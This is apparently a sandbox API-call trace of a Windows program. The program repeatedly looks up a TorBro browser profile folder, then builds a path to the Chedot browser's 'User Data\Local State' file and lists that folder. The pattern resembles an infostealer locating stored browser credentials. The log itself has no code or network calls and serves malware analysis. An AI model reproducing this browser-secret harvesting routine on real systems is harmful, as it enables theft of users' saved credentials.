[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.853] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.853] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.854] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.855] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.855] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.855] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.855] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.855] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.855] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.855] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.855] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\"
[0052.855] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\"
[0052.855] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\"
[0052.855] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State"
[0052.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66
[0052.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x84) returned 0x67d968
[0052.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=66, lpWideCharStr=0x67d968, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned 66
[0052.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67d9f8
[0052.856] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.856] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\local state")) returned 0xffffffff
[0052.856] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0052.856] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.856] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*") returned 55
[0052.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.856] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.856] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
